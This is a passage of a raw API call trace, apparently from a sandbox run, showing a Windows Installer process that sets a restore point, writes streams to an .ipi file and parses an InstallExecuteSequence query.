_Dst=0x29f80d2) returned 0x29f80d2 [0210.625] memcpy (in: _Dst=0x29f80ea, _Src=0x3d6bcc, _Size=0x2 | out: _Dst=0x29f80ea) returned 0x29f80ea [0210.625] SetLastError (dwErrCode=0x0) [0210.625] memcpy (in: _Dst=0x10ce442, _Src=0x10ce298, _Size=0x2 | out: _Dst=0x10ce442) returned 0x10ce442 [0210.625] memcpy (in: _Dst=0x29f80ea, _Src=0x10ce440, _Size=0x6 | out: _Dst=0x29f80ea) returned 0x29f80ea [0210.625] SetLastError (dwErrCode=0x0) [0210.625] memcpy (in: _Dst=0x10ce442, _Src=0x10ce298, _Size=0x2 | out: _Dst=0x10ce442) returned 0x10ce442 [0210.625] memcpy (in: _Dst=0x29f84c4, _Src=0x10ce440, _Size=0x6 | out: _Dst=0x29f84c4) returned 0x29f84c4 [0210.625] memcpy (in: _Dst=0x29f80f2, _Src=0x29f84c0, _Size=0xa | out: _Dst=0x29f80f2) returned 0x29f80f2 [0210.625] GetCurrentThreadId () returned 0xf50 [0210.625] GetCurrentThreadId () returned 0xf50 [0210.625] SetEvent (hEvent=0x170) returned 1 [0210.626] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0210.626] RegCloseKey (hKey=0x1f8) returned 0x0 [0210.626] RegCloseKey (hKey=0x1ec) returned 0x0 [0210.627] GlobalUnlock (hMem=0xf401f8) returned 0 [0210.627] GlobalUnlock (hMem=0xf401e8) returned 0 [0210.627] GlobalUnlock (hMem=0xf40238) returned 0 [0210.627] GlobalUnlock (hMem=0xf40218) returned 0 [0210.627] GlobalUnlock (hMem=0xf40228) returned 0 [0210.627] GlobalUnlock (hMem=0xf40208) returned 0 [0210.627] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0210.627] SRSetRestorePointW (in: pRestorePtSpec=0x10ce760, pSMgrStatus=0x10ce740 | out: pSMgrStatus=0x10ce740) returned 1 [0210.637] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0210.637] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\InProgress") returned 62 [0210.637] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\InProgress", ulOptions=0x0, samDesired=0x20119, phkResult=0x34b1c8 | out: phkResult=0x34b1c8*=0x1ec) returned 0x0 [0210.638] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0210.638] RegQueryValueExW (in: hKey=0x1ec, lpValueName=0x0, lpReserved=0x0, lpType=0x10ce7f0, lpData=0x10ce810, lpcbData=0x10ce7b0*=0x100 | out: lpType=0x10ce7f0*=0x1, lpData="C:\\Windows\\Installer\\1876f00.ipi", lpcbData=0x10ce7b0*=0x42) returned 0x0 [0210.638] lstrlenW (lpString="C:\\Windows\\Installer\\1876f00.ipi") returned 32 [0210.638] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0210.638] GetFileAttributesW (lpFileName="C:\\Windows\\Installer\\1876f00.ipi" (normalized: "c:\\windows\\installer\\1876f00.ipi")) returned 0x20 [0210.638] lstrlenW (lpString="C:\\Windows\\Installer\\1876f00.ipi") returned 32 [0210.638] StgOpenStorage (in: pwcsName="C:\\Windows\\Installer\\1876f00.ipi", pstgPriority=0x0, grfMode=0x10022, snbExclude=0x0, reserved=0x0, ppstgOpen=0x10ce958 | out: ppstgOpen=0x10ce958*=0x21263d0) returned 0x0 [0210.652] IUnknown:AddRef (This=0x21263d0) returned 0x2 [0210.652] IStorage:Stat (in: This=0x21263d0, pstatstg=0x10ce850, grfStatFlag=0x0 | out: pstatstg=0x10ce850) returned 0x0 [0210.652] lstrlenW (lpString="C:\\Windows\\Installer\\1876f00.ipi") returned 32 [0210.652] CoGetMalloc (in: dwMemContext=0x1, ppMalloc=0x10ce848 | out: ppMalloc=0x10ce848*=0x7fefd6b5380) returned 0x0 [0210.652] IMalloc:Free (This=0x7fefd6b5380, pv=0x372790) [0210.652] IUnknown:AddRef (This=0x7fefd6b5380) returned 0x1 [0210.652] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0210.653] IUnknown:Release (This=0x21263d0) returned 0x1 [0210.653] IStorage:CreateStream (in: This=0x21263d0, pwcsName="䕙䇲䆸㲷䠧", grfMode=0x1012, reserved1=0x0, reserved2=0x0, ppstm=0x10ce870 | out: ppstm=0x10ce870*=0x3d9100) returned 0x0 [0210.653] IUnknown:Release (This=0x3d9100) returned 0x0 [0210.653] IStorage:CreateStream (in: This=0x21263d0, pwcsName="䕙䇲䆸㷷䐤䠨", grfMode=0x1012, reserved1=0x0, reserved2=0x0, ppstm=0x10ce870 | out: ppstm=0x10ce870*=0x3d9100) returned 0x0 [0210.863] IUnknown:Release (This=0x3d9100) returned 0x0 [0210.864] IStorage:CreateStream (in: This=0x21263d0, pwcsName="䈜䈯䗦䒬䖱", grfMode=0x1012, reserved1=0x0, reserved2=0x0, ppstm=0x10ce870 | out: ppstm=0x10ce870*=0x3d9100) returned 0x0 [0210.864] IUnknown:Release (This=0x3d9100) returned 0x0 [0210.864] IStorage:CreateStream (in: This=0x21263d0, pwcsName="䒏䇯䕨䠶", grfMode=0x1012, reserved1=0x0, reserved2=0x0, ppstm=0x10ce870 | out: ppstm=0x10ce870*=0x3d9100) returned 0x0 [0210.865] IUnknown:Release (This=0x3d9100) returned 0x0 [0210.865] IStorage:CreateStream (in: This=0x21263d0, pwcsName="䕙䓲䕨䌷䖨", grfMode=0x1012, reserved1=0x0, reserved2=0x0, ppstm=0x10ce870 | out: ppstm=0x10ce870*=0x3d9100) returned 0x0 [0210.865] IUnknown:Release (This=0x3d9100) returned 0x0 [0210.865] IStorage:CreateStream (in: This=0x21263d0, pwcsName="䌝䈰䗜䐤㵳䚲", grfMode=0x1012, reserved1=0x0, reserved2=0x0, ppstm=0x10ce870 | out: ppstm=0x10ce870*=0x3d9100) returned 0x0 [0210.865] IUnknown:Release (This=0x3d9100) returned 0x0 [0210.866] IStorage:CreateStream (in: This=0x21263d0, pwcsName="䌝䈰䗜䐤㱳䊬䠫", grfMode=0x1012, reserved1=0x0, reserved2=0x0, ppstm=0x10ce870 | out: ppstm=0x10ce870*=0x3d9100) returned 0x0 [0210.866] IUnknown:Release (This=0x3d9100) returned 0x0 [0210.866] IStorage:CreateStream (in: This=0x21263d0, pwcsName="䄍䄷䄥䈶䄙䋷", grfMode=0x1012, reserved1=0x0, reserved2=0x0, ppstm=0x10ce870 | out: ppstm=0x10ce870*=0x3d9100) returned 0x0 [0210.866] IUnknown:Release (This=0x3d9100) returned 0x0 [0210.866] IStorage:CreateStream (in: This=0x21263d0, pwcsName="䌍䎶䕙䐲䗳", grfMode=0x1012, reserved1=0x0, reserved2=0x0, ppstm=0x10ce870 | out: ppstm=0x10ce870*=0x3d9100) returned 0x0 [0210.866] IUnknown:Release (This=0x3d9100) returned 0x0 [0210.866] IStorage:CreateStream (in: This=0x21263d0, pwcsName="䌍䎶䈜䌵䏤", grfMode=0x1012, reserved1=0x0, reserved2=0x0, ppstm=0x10ce870 | out: ppstm=0x10ce870*=0x3d9100) returned 0x0 [0210.867] IUnknown:Release (This=0x3d9100) returned 0x0 [0210.867] IStorage:Commit (This=0x21263d0, grfCommitFlags=0x1) returned 0x0 [0210.876] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0210.876] IStorage:Commit (This=0x21263d0, grfCommitFlags=0x1) returned 0x0 [0210.879] IUnknown:Release (This=0x21263d0) returned 0x0 [0210.886] RegCloseKey (hKey=0x1ec) returned 0x0 [0210.886] lstrlenW (lpString="RESUME") returned 6 [0210.887] lstrlenW (lpString="Resume") returned 6 [0210.887] lstrlenW (lpString="UpdateStarted") returned 13 [0210.888] GlobalUnlock (hMem=0xf400e8) returned 0 [0210.889] _vsnwprintf (in: _Buffer=0x10ceb20, _BufferCount=0xb3, _Format="SELECT `Action`,NULL,`Condition` FROM `%s` WHERE `Sequence` = ?", _ArgList=0x10ceaa8 | out: _Buffer="SELECT `Action`,NULL,`Condition` FROM `InstallExecuteSequence` WHERE `Sequence` = ?") returned 83 [0210.889] GlobalUnlock (hMem=0xf400c8) returned 0 [0210.891] GlobalUnlock (hMem=0xf400d8) returned 0 [0210.891] GlobalLock (hMem=0xf400d8) returned 0x3c1a00 [0210.891] lstrlenW (lpString="SELECT `Action`,NULL,`Condition` FROM `InstallExecuteSequence` WHERE `Sequence` = ?") returned 83 [0210.891] lstrlenW (lpString="SELECT `Action`,NULL,`Condition` FROM `InstallExecuteSequence` WHERE `Sequence` = ?") returned 83 [0210.892] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0210.892] lstrcmpiW (lpString1="SELECT", lpString2="NULL") returned 1 [0210.892] lstrcmpiW (lpString1="FROM", lpString2="NULL") returned -1 [0210.892] lstrcmpiW (lpString1="AS", lpString2="NULL") returned -1 [0210.892] lstrcmpiW (lpString1="WHERE", lpString2="NULL") returned 1 [0210.892] lstrcmpiW (lpString1="NULL", lpString2="NULL") returned 0 [0210.892] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0210.892] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0210.892] lstrlenW (lpString="InstallExecuteSequence") returned 22 [0210.892] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="䡀䑒䗶䏤㮯䈻䘦䈷䈜䘴䑨䈦", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce720, ppstm=0x0 | out: ppstm=0x0) returned 0x0 [0210.892] IStream:Stat (in: This=0x3d8b60, pstatstg=0x10ce680, grfStatFlag=0x1 | out: pstatstg=0x10ce680) returned 0x0 [0210.893] GlobalLock (hMem=0xf400c8) returned 0x3c9da0 [0210.893] ISequentialStream:RemoteRead (in: This=0x3d8b60, pv=0x3c7d6c, cb=0x400, pcbRead=0x3c816c | out: pv=0x3c7d6c*=0x9d, pcbRead=0x3c816c*=0xd8) returned 0x0 [0210.893] memcpy (in: _Dst=0x3c9da4, _Src=0x3c7d6c, _Size=0x2 | out: _Dst=0x3c9da4) returned 0x3c9da4 [0210.893] memcpy (in: _Dst=0x3c9db4, _Src=0x3c7d6e, _Size=0x2 | out: _Dst=0x3c9db4) returned 0x3c9db4 [0210.893] memcpy (in: _Dst=0x3c9dc4, _Src=0x3c7d70, _Size=0x2 | out: _Dst=0x3c9dc4) returned 0x3c9dc4 [0210.893] memcpy (in: _Dst=0x3c9dd4, _Src=0x3c7d72, _Size=0x2 | out: _Dst=0x3c9dd4) returned 0x3c9dd4 [0210.893] memcpy (in: _Dst=0x3c9de4, _Src=0x3c7d74, _Size=0x2 | out: _Dst=0x3c9de4) returned 0x3c9de4 [0210.893] memcpy (in: _Dst=0x3c9df4, _Src=0x3c7d76, _Size=0x2 | out: _Dst=0x3c9df4) returned 0x3c9df4 [0210.893] memcpy (in: _Dst=0x3c9e04, _Src=0x3c7d78, _Size=0x2 | out: _Dst=0x3c9e04) returned 0x3c9e04 [0210.893] memcpy (in: _Dst=0x3c9e14, _Src=0x3c7d7a, _Size=0x2 | out: _Dst=0x3c9e14) returned 0x3c9e14 [0210.893] memcpy (in: _Dst=0x3c9e24, _Src=0x3c7d7c, _Size=0x2 | out: _Dst=0x3c9e24) returned 0x3c9e24 [0210.893] memcpy (in: _Dst=0x3c9e34, _Src=0x3c7d7e, _Size=0x2 | out: _Dst=0x3c9e34) returned 0x3c9e34 [0210.893] memcpy (in: _Dst=0x3c9e44, _Src=0x3c7d80, _Size=0x2 | out: _Dst=0x3c9e44) returned 0x3c9e44 [0210.893] memcpy (in: _Dst=0x3c9e54, _Src=0x3c7d82, _Size=0x2 | out: _Dst=0x3c9e54) returned 0x3c9e54 [0210.893] memcpy (in: _Dst=0x3c9e64, _Src=0x3c7d84, _Size=0x2 | out: _Dst=0x3c9e64) returned 0x3c9e64 [0210.893] memcpy (in: _Dst=0x3c9e74, _Src=0x3c7d86, _Size=0x2 | out: _Dst=0x3c9e74) returned 0x3c9e74 [0210.893] memcpy (in: _Dst=0x3c9e84, _Src=0x3c7d88, _Size=0x2 | out: _Dst=0x3c9e84) returned 0x3c9e84 [0210.893] memcpy (in: _Dst=0x3c9e94, _Src=0x3c7d8a, _Size=0x2 | out: _Dst=0x3c9e94) returned 0x3c9e94 [0210.893] memcpy (in: _Dst=0x3c9ea4, _Src=0x3c7d8c, _Size=0x2 | out: _Dst=0x3c9ea4) returned 0x3c9ea4 [0210.893] memcpy (in: _Dst=0x3c9eb4, _Src=0x3c7d8e, _Size=0x2 | out: _Dst=0x3c9eb4) returned 0x3c9eb4 [0210.893] memcpy (in: _Dst=0x3c9ec4, _Src=0x3c7d90, _Size=0x2 | out: _Dst=0x3c9ec4) returned 0x3c9ec4 [0210.893] memcpy (in: _Dst=0x3c9ed4, _Src=0x3c7d92, _Size=0x2 | out: _Dst=0x3c9ed4) returned 0x3c9ed4 [0210.893] memcpy (in: _Dst=0x3c9ee4, _Src=0x3c7d94, _Size=0x2 | out: _Dst=0x3c9ee4) returned 0x3c9ee4 [0210.893] memcpy (in: _Dst=0x3c9ef4, _Src=0x3c7d96, _Size=0x2 | out: _Dst=0x3c9ef4) returned 0x3c9ef4 [0210.893] memcpy (in: _Dst=0x3c9f04, _Src=0x3c7d98, _Size=0x2 | out: _Dst=0x3c9f04) returned 0x3c9f04 [0210.893] memcpy (in: _Dst=0x3c9f14, _Src=0x3c7d9a, _Size=0x2 | out: _Dst=0x3c9f14) returned 0x3c9f14 [0210.893] memcpy (in: _Dst=0x3c9f24, _Src=0x3c7d9c, _Size=0x2 | out: _Dst=0x3c9f24) returned 0x3c9f24 [0210.893] memcpy (in: _Dst=0x3c9f34, _Src=0x3c7d9e, _Size=0x2 | out: _Dst=0x3c9f34) returned 0x3c9f34 [0210.893] memcpy (in: _Dst=0x3c9f44, _Src=0x3c7da0, _Size=0x2 | out: _Dst=0x3c9f44) returned 0x3c9f44 [0210.893] memcpy (in: _Dst=0x3c9f54, _Src=0x3c7da2, _Size=0x2 | out: _Dst=0x3c9f54) returned 0x3c9f54 [0210.893] memcpy (in: _Dst=0x3c9f64, _Src=0x3c7da4, _Size=0x2 | out: _Dst=0x3c9f64) returned 0x3c9f64 [0210.893] memcpy (in: _Dst=0x3c9f74, _Src=0x3c7da6, _Size=0x2 | out: _Dst=0x3c9f74) returned 0x3c9f74 [0210.893] memcpy (in: _Dst=0x3c9f84, _Src=0x3c7da8, _Size=0x2 | out: _Dst=0x3c9f84) returned 0x3c9f84 [0210.893] memcpy (in: _Dst=0x3c9f94, _Src=0x3c7daa, _Size=0x2 | out: _Dst=0x3c9f94) returned 0x3c9f94 [0210.893] memcpy (in: _Dst=0x3c9fa4, _Src=0x3c7dac, _Size=0x2 | out: _Dst=0x3c9fa4) returned 0x3c9fa4 [0210.894] memcpy (in: _Dst=0x3c9fb4, _Src=0x3c7dae, _Size=0x2 | out: _Dst=0x3c9fb4) returned 0x3c9fb4 [0210.894] memcpy (in: _Dst=0x3c9fc4, _Src=0x3c7db0, _Size=0x2 | out: _Dst=0x3c9fc4) returned 0x3c9fc4 [0210.894] memcpy (in: _Dst=0x3c9fd4, _Src=0x3c7db2, _Size=0x2 | out: _Dst=0x3c9fd4) returned 0x3c9fd4 [0210.894] memcpy (in: _Dst=0x3c9da8, _Src=0x3c7db4, _Size=0x2 | out: _Dst=0x3c9da8) returned 0x3c9da8 [0210.894] memcpy (in: _Dst=0x3c9db8, _Src=0x3c7db6, _Size=0x2 | out: _Dst=0x3c9db8) returned 0x3c9db8 [0210.894] memcpy (in: _Dst=0x3c9dc8, _Src=0x3c7db8, _Size=0x2 | out: _Dst=0x3c9dc8) returned 0x3c9dc8 [0210.894] memcpy (in: _Dst=0x3c9dd8, _Src=0x3c7dba, _Size=0x2 | out: _Dst=0x3c9dd8) returned 0x3c9dd8 [0210.894] memcpy (in: _Dst=0x3c9de8, _Src=0x3c7dbc, _Size=0x2 | out: _Dst=0x3c9de8) returned 0x3c9de8 [0210.894] memcpy (in: _Dst=0x3c9df8, _Src=0x3c7dbe, _Size=0x2 | out: _Dst=0x3c9df8) returned 0x3c9df8 [0210.894] memcpy (in: _Dst=0x3c9e08, _Src=0x3c7dc0, _Size=0x2 | out: _Dst=0x3c9e08) returned 0x3c9e08 [0210.894] memcpy (in: _Dst=0x3c9e18, _Src=0x3c7dc2, _Size=0x2 | out: _Dst=0x3c9e18) returned 0x3c9e18 [0210.894] memcpy (in: _Dst=0x3c9e28, _Src=0x3c7dc4, _Size=0x2 | out: _Dst=0x3c9e28) returned 0x3c9e28 [0210.894] memcpy (in: _Dst=0x3c9e38, _Src=0x3c7dc6, _Size=0x2 | out: _Dst=0x3c9e38) returned 0x3c9e38 [0210.894] memcpy (in: _Dst=0x3c9e48, _Src=0x3c7dc8, _Size=0x2 | out: _Dst=0x3c9e48) returned 0x3c9e48 [0210.894] memcpy (in: _Dst=0x3c9e58, _Src=0x3c7dca, _Size=0x2 | out: _Dst=0x3c9e58) returned 0x3c9e58 [0210.894] memcpy (in: _Dst=0x3c9e68, _Src=0x3c7dcc, _Size=0x2 | out: _Dst=0x3c9e68) returned 0x3c9e68 [0210.894] memcpy (in: _Dst=0x3c9e78, _Src=0x3c7dce, _Size=0x2 | out: _Dst=0x3c9e78) returned 0x3c9e78 [0210.894] memcpy (in: _Dst=0x3c9e88, _Src=0x3c7dd0, _Size=0x2 | out: _Dst=0x3c9e88) returned 0x3c9e88 [0210.894] memcpy (in: _Dst=0x3c9e98, _Src=0x3c7dd2, _Size=0x2 | out: _Dst=0x3c9e98) returned 0x3c9e98 [0210.894] memcpy (in: _Dst=0x3c9ea8, _Src=0x3c7dd4, _Size=0x2 | out: _Dst=0x3c9ea8) returned 0x3c9ea8 [0210.894] memcpy (in: _Dst=0x3c9eb8, _Src=0x3c7dd6, _Size=0x2 | out: _Dst=0x3c9eb8) returned 0x3c9eb8 [0210.894] memcpy (in: _Dst=0x3c9ec8, _Src=0x3c7dd8, _Size=0x2 | out: _Dst=0x3c9ec8) returned 0x3c9ec8 [0210.894] memcpy (in: _Dst=0x3c9ed8, _Src=0x3c7dda, _Size=0x2 | out: _Dst=0x3c9ed8) returned 0x3c9ed8 [0210.894] memcpy (in: _Dst=0x3c9ee8, _Src=0x3c7ddc, _Size=0x2 | out: _Dst=0x3c9ee8) returned 0x3c9ee8 [0210.894] memcpy (in: _Dst=0x3c9ef8, _Src=0x3c7dde, _Size=0x2 | out: _Dst=0x3c9ef8) returned 0x3c9ef8 [0210.894] memcpy (in: _Dst=0x3c9f08, _Src=0x3c7de0, _Size=0x2 | out: _Dst=0x3c9f08) returned 0x3c9f08 [0210.894] memcpy (in: _Dst=0x3c9f18, _Src=0x3c7de2, _Size=0x2 | out: _Dst=0x3c9f18) returned 0x3c9f18 [0210.894] memcpy (in: _Dst=0x3c9f28, _Src=0x3c7de4, _Size=0x2 | out: _Dst=0x3c9f28) returned 0x3c9f28 [0210.894] memcpy (in: _Dst=0x3c9f38, _Src=0x3c7de6, _Size=0x2 | out: _Dst=0x3c9f38) returned 0x3c9f38 [0210.894] memcpy (in: _Dst=0x3c9f48, _Src=0x3c7de8, _Size=0x2 | out: _Dst=0x3c9f48) returned 0x3c9f48 [0210.894] memcpy (in: _Dst=0x3c9f58, _Src=0x3c7dea, _Size=0x2 | out: _Dst=0x3c9f58) returned 0x3c9f58 [0210.894] memcpy (in: _Dst=0x3c9f68, _Src=0x3c7dec, _Size=0x2 | out: _Dst=0x3c9f68) returned 0x3c9f68 [0210.894] memcpy (in: _Dst=0x3c9f78, _Src=0x3c7dee, _Size=0x2 | out: _Dst=0x3c9f78) returned 0x3c9f78 [0210.895] memcpy (in: _Dst=0x3c9f88, _Src=0x3c7df0, _Size=0x2 | out: _Dst=0x3c9f88) returned 0x3c9f88 [0210.895] memcpy (in: _Dst=0x3c9f98, _Src=0x3c7df2, _Size=0x2 | out: _Dst=0x3c9f98) returned 0x3c9f98 [0210.895] memcpy (in: _Dst=0x3c9fa8, _Src=0x3c7df4, _Size=0x2 | out: _Dst=0x3c9fa8) returned 0x3c9fa8 [0210.895] memcpy (in: _Dst=0x3c9fb8, _Src=0x3c7df6, _Size=0x2 | out: _Dst=0x3c9fb8) returned 0x3c9fb8 [0210.895] memcpy (in: _Dst=0x3c9fc8, _Src=0x3c7df8, _Size=0x2 | out: _Dst=0x3c9fc8) returned 0x3c9fc8 [0210.895] memcpy (in: _Dst=0x3c9fd8, _Src=0x3c7dfa, _Size=0x2 | out: _Dst=0x3c9fd8) returned 0x3c9fd8 [0210.895] memcpy (in: _Dst=0x10ce7f8, _Src=0x3c7dfc, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0210.895] memcpy (in: _Dst=0x10ce7f8, _Src=0x3c7dfe, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0210.895] memcpy (in: _Dst=0x10ce7f8, _Src=0x3c7e00, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0210.895] memcpy (in: _Dst=0x10ce7f8, _Src=0x3c7e02, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0210.895] memcpy (in: _Dst=0x10ce7f8, _Src=0x3c7e04, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0210.895] memcpy (in: _Dst=0x10ce7f8, _Src=0x3c7e06, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0210.895] memcpy (in: _Dst=0x10ce7f8, _Src=0x3c7e08, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0210.895] memcpy (in: _Dst=0x10ce7f8, _Src=0x3c7e0a, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0210.895] memcpy (in: _Dst=0x10ce7f8, _Src=0x3c7e0c, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0210.895] memcpy (in: _Dst=0x10ce7f8, _Src=0x3c7e0e, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0210.895] memcpy (in: _Dst=0x10ce7f8, _Src=0x3c7e10, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0210.895] memcpy (in: _Dst=0x10ce7f8, _Src=0x3c7e12, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0210.895] memcpy (in: _Dst=0x10ce7f8, _Src=0x3c7e14, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0210.895] memcpy (in: _Dst=0x10ce7f8, _Src=0x3c7e16, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0210.895] memcpy (in: _Dst=0x10ce7f8, _Src=0x3c7e18, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0210.895] memcpy (in: _Dst=0x10ce7f8, _Src=0x3c7e1a, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0210.895] memcpy (in: _Dst=0x10ce7f8, _Src=0x3c7e1c, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0210.895] memcpy (in: _Dst=0x10ce7f8, _Src=0x3c7e1e, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0210.895] memcpy (in: _Dst=0x10ce7f8, _Src=0x3c7e20, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0210.895] memcpy (in: _Dst=0x10ce7f8, _Src=0x3c7e22, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0210.895] memcpy (in: _Dst=0x10ce7f8, _Src=0x3c7e24, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0210.895] memcpy (in: _Dst=0x10ce7f8, _Src=0x3c7e26, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0210.896] memcpy (in: _Dst=0x10ce7f8, _Src=0x3c7e28, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0210.896] memcpy (in: _Dst=0x10ce7f8, _Src=0x3c7e2a, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0210.896] memcpy (in: _Dst=0x10ce7f8, _Src=0x3c7e2c, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0210.896] memcpy (in: _Dst=0x10ce7f8, _Src=0x3c7e2e, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0210.896] memcpy (in: _Dst=0x10ce7f8, _Src=0x3c7e30, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0210.896] memcpy (in: _Dst=0x10ce7f8, _Src=0x3c7e32, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0210.896] memcpy (in: _Dst=0x10ce7f8, _Src=0x3c7e34, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0210.896] memcpy (in: _Dst=0x10ce7f8, _Src=0x3c7e36, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0210.896] memcpy (in: _Dst=0x10ce7f8, _Src=0x3c7e38, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0210.896] memcpy (in: _Dst=0x10ce7f8, _Src=0x3c7e3a, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0210.896] memcpy (in: _Dst=0x10ce7f8, _Src=0x3c7e3c, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0210.896] memcpy (in: _Dst=0x10ce7f8, _Src=0x3c7e3e, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0210.896] memcpy (in: _Dst=0x10ce7f8, _Src=0x3c7e40, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0210.896] memcpy (in: _Dst=0x10ce7f8, _Src=0x3c7e42, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0210.896] IUnknown:Release (This=0x3d8b60) returned 0x0 [0210.896] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0210.896] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0210.896] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0210.896] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0210.896] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0210.897] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0210.897] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0210.897] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0210.897] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0210.897] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0210.897] lstrlenW (lpString="Sequence") returned 8 [0210.897] lstrlenW (lpString="=") returned 1 [0210.897] lstrlenW (lpString="?") returned 1 [0210.897] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0210.897] lstrcmpiW (lpString1="SELECT", lpString2="NULL") returned 1 [0210.897] lstrcmpiW (lpString1="FROM", lpString2="NULL") returned -1 [0210.898] lstrcmpiW (lpString1="AS", lpString2="NULL") returned -1 [0210.898] lstrcmpiW (lpString1="WHERE", lpString2="NULL") returned 1 [0210.898] lstrcmpiW (lpString1="NULL", lpString2="NULL") returned 0 [0210.898] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0210.898] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0210.898] lstrlenW (lpString="Action") returned 6 [0210.898] lstrcmpiW (lpString1="SELECT", lpString2="NULL") returned 1 [0210.898] lstrcmpiW (lpString1="FROM", lpString2="NULL") returned -1 [0210.898] lstrcmpiW (lpString1="AS", lpString2="NULL") returned -1 [0210.898] lstrcmpiW (lpString1="WHERE", lpString2="NULL") returned 1 [0210.898] lstrcmpiW (lpString1="NULL", lpString2="NULL") returned 0 [0210.898] lstrlenW (lpString="NULL") returned 4 [0210.898] lstrlenW (lpString="Condition") returned 9 [0210.898] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0210.898] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0210.899] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0210.899] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0210.899] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0210.899] GlobalUnlock (hMem=0xf400d8) returned 0 [0210.899] GlobalUnlock (hMem=0xf400c8) returned 0 [0210.899] lstrlenW (lpString="INSTALL") returned 7 [0210.899] SetLastError (dwErrCode=0xd) [0210.899] SetLastError (dwErrCode=0xd) [0210.899] lstrlenW (lpString="Time") returned 4 [0210.899] GetLocalTime (in: lpSystemTime=0x10ce900 | out: lpSystemTime=0x10ce900*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x30, wSecond=0x21, wMilliseconds=0x2c2)) [0210.899] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce900, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:48:48") returned 9 [0210.900] GetLocalTime (in: lpSystemTime=0x10ce900 | out: lpSystemTime=0x10ce900*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x30, wSecond=0x21, wMilliseconds=0x2c2)) [0210.900] GetTimeFormatW 